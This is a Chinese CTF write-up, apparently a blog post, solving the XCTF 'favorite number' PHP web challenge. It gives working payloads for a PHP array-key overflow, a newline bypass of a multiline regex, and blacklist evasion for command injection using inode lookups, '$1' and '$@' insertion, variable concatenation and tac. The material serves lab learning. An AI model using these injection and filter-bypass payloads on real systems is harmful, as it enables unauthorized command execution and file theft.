2 3 4 5 6 7 8 9 10 11 12

#favorite number xctf 攻防世界 web高手进阶区

题目描述

进入题目场景,发现是一段php代码。

代码审计

1.通过POST方式传入stuff这个参数。

2.定义了一个数组变量array,有admin和user。只有当stuff和array这两个数组完全相等(因为使用全等号===)并且stuff索引为0的的元素不等于admin,才能往下执行,否则就highlight(FILE)。

3.通过POST方式传入一个num,然后通过正则过滤返回一个数字(大小写不敏感,跨行检测)。

4.最后是个黑名单,把许多常用的语句都排除了。

解决办法:

绕过第一个if语句(PHP数组key溢出,2^32 = 4294967296)

构造payload:stuff[4294967296]=admin&stuff[1]=user&num=123

第2个if()语句,利用url换行符%0a,第一行是数字绕过正则。

preg_match()有/m,也就是多行匹配,因此^和$不仅匹配字符串的开头和结尾,也能匹配一行的开头和结尾,因此可以利用%0a换一行,把命令写在其他的行,这样这个正则匹配就只能匹配到第一行了。

构造payload:stuff[4294967296]=admin&stuff[1]=user&num=1%0a ls /

这里在hackbar提交页面没有任何提示,查看源码也是。

所以只能抓包提交看看。

发现flag,在第三个if()语句中有flag,cat等多数语句被过滤。

所以可以考虑使用文件inode。

显示命令ls有几个参数

-a显示全部文件包括隐藏文件

-l长文件格式即显示全部信息

-h已合适单位显示文件大小

-d只显示目录文件

-t按时间显示

-i查看文件的inode号(inode存储文件的详细信息)

构造payload查看flag的inode:stuff[4294967296]=admin&stuff[1]=user&num=1%0a ls -i /

1.因为cat被过滤了,可以使用more查看,利用反引号读取文件。

构造payload:

stuff[4294967296]=admin&stuff[1]=user&num=1%0a more `find / -inum 14689653`

2.利用$1和 $@

∗和@, x ( x 代 表 1 − 9 ) , {x}(x>=10) :比如ca${1}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空.

构造payload:

stuff[4294967296]=admin&stuff[1]=user&num=1%0aca$1t /fl$1ag



stuff[4294967296]=admin&stuff[1]=user&num=1%0aca$@t /fl$@ag
![](https://img2022.cnblogs.com/blog/2456805/202201/2456805-20220130202848955-22070147.png)

3.拼接变量

构造payload:stuff[4294967296]=admin&stuff[1]=user&num=1%0aa=fl;b=ag;tac /$a$b

4.可以使用tac查看

stuff[4294967296]=admin&stuff[1]=user&num=1%0a tac+/fla``g

posted @ 2022-01-30 20:30  MrDevil  阅读(46)  评论(0)    收藏  举报